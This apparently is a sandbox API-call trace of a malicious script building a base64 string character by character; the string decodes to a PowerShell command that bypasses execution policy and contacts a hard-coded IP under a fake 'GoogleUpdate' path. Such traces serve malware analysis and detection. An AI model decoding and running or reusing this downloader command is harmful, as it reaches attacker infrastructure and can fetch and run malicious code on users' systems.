bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmxMMVZ", bstrRight="3", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.769] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmxMMVZ3", bstrRight="W", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.769] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmxMMVZ3W", bstrRight="k", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.770] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmxMMVZ3Wk", bstrRight="d", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.770] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmxMMVZ3Wkd", bstrRight="G", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.770] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmxMMVZ3WkdG", bstrRight="M", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.770] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmxMMVZ3WkdGM", bstrRight="F", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.770] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmxMMVZ3WkdGMF", bstrRight="p", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.770] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmxMMVZ3WkdGMFp", bstrRight="T", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.770] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmxMMVZ3WkdGMFpT", bstrRight="N", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.770] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmxMMVZ3WkdGMFpTN", bstrRight="X", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.770] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmxMMVZ3WkdGMFpTNX", bstrRight="d", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.770] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmxMMVZ3WkdGMFpTNXd", bstrRight="h", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.770] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmxMMVZ3WkdGMFpTNXdh", bstrRight="S", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.770] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmxMMVZ3WkdGMFpTNXdhS", bstrRight="E", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.770] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmxMMVZ3WkdGMFpTNXdhSE", bstrRight="F", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.770] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmxMMVZ3WkdGMFpTNXdhSEF", bstrRight="u", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.770] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmxMMVZ3WkdGMFpTNXdhSEFu", bstrRight="S", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.770] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmxMMVZ3WkdGMFpTNXdhSEFuS", bstrRight="1", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.770] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmxMMVZ3WkdGMFpTNXdhSEFuS1", bstrRight="R", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.770] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmxMMVZ3WkdGMFpTNXdhSEFuS1R", bstrRight="z", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.770] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmxMMVZ3WkdGMFpTNXdhSEFuS1Rz", bstrRight="Z", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.770] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmxMMVZ3WkdGMFpTNXdhSEFuS1RzZ", bstrRight="0", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.770] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmxMMVZ3WkdGMFpTNXdhSEFuS1RzZ0", bstrRight="p", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.771] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmxMMVZ3WkdGMFpTNXdhSEFuS1RzZ0p", bstrRight="I", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.771] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmxMMVZ3WkdGMFpTNXdhSEFuS1RzZ0pI", bstrRight="S", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.771] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmxMMVZ3WkdGMFpTNXdhSEFuS1RzZ0pIS", bstrRight="m", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.771] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmxMMVZ3WkdGMFpTNXdhSEFuS1RzZ0pISm", bstrRight="x", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.771] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmxMMVZ3WkdGMFpTNXdhSEFuS1RzZ0pISmx", bstrRight="j", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.771] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmxMMVZ3WkdGMFpTNXdhSEFuS1RzZ0pISmxj", bstrRight="M", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.771] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmxMMVZ3WkdGMFpTNXdhSEFuS1RzZ0pISmxjM", bstrRight="0", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.771] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmxMMVZ3WkdGMFpTNXdhSEFuS1RzZ0pISmxjM0", bstrRight="E", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.771] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmxMMVZ3WkdGMFpTNXdhSEFuS1RzZ0pISmxjM0E", bstrRight="5", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.771] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmxMMVZ3WkdGMFpTNXdhSEFuS1RzZ0pISmxjM0E5", bstrRight="S", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.771] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmxMMVZ3WkdGMFpTNXdhSEFuS1RzZ0pISmxjM0E5S", bstrRight="k", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.771] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmxMMVZ3WkdGMFpTNXdhSEFuS1RzZ0pISmxjM0E5Sk", bstrRight="h", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.771] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmxMMVZ3WkdGMFpTNXdhSEFuS1RzZ0pISmxjM0E5Skh", bstrRight="J", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.771] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmxMMVZ3WkdGMFpTNXdhSEFuS1RzZ0pISmxjM0E5SkhJ", bstrRight="d", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.771] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmxMMVZ3WkdGMFpTNXdhSEFuS1RzZ0pISmxjM0E5SkhJd", bstrRight="V", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.771] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmxMMVZ3WkdGMFpTNXdhSEFuS1RzZ0pISmxjM0E5SkhJdV", bstrRight="I", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.771] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmxMMVZ3WkdGMFpTNXdhSEFuS1RzZ0pISmxjM0E5SkhJdVI", bstrRight="y", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.771] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmxMMVZ3WkdGMFpTNXdhSEFuS1RzZ0pISmxjM0E5SkhJdVIy", bstrRight="V", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.771] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmxMMVZ3WkdGMFpTNXdhSEFuS1RzZ0pISmxjM0E5SkhJdVIyV", bstrRight="j", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.771] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmxMMVZ3WkdGMFpTNXdhSEFuS1RzZ0pISmxjM0E5SkhJdVIyVj", bstrRight="B", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.771] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmxMMVZ3WkdGMFpTNXdhSEFuS1RzZ0pISmxjM0E5SkhJdVIyVjB", bstrRight="V", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.772] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmxMMVZ3WkdGMFpTNXdhSEFuS1RzZ0pISmxjM0E5SkhJdVIyVjBV", bstrRight="b", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.772] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmxMMVZ3WkdGMFpTNXdhSEFuS1RzZ0pISmxjM0E5SkhJdVIyVjBVb", bstrRight="V", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.772] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmxMMVZ3WkdGMFpTNXdhSEFuS1RzZ0pISmxjM0E5SkhJdVIyVjBVbV", bstrRight="Z", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.772] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmxMMVZ3WkdGMFpTNXdhSEFuS1RzZ0pISmxjM0E5SkhJdVIyVjBVbVZ", bstrRight="6", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.772] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmxMMVZ3WkdGMFpTNXdhSEFuS1RzZ0pISmxjM0E5SkhJdVIyVjBVbVZ6", bstrRight="Y", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.772] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmxMMVZ3WkdGMFpTNXdhSEFuS1RzZ0pISmxjM0E5SkhJdVIyVjBVbVZ6Y", bstrRight="0", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.772] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmxMMVZ3WkdGMFpTNXdhSEFuS1RzZ0pISmxjM0E5SkhJdVIyVjBVbVZ6Y0", bstrRight="c", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.772] VarBstrCat (in: 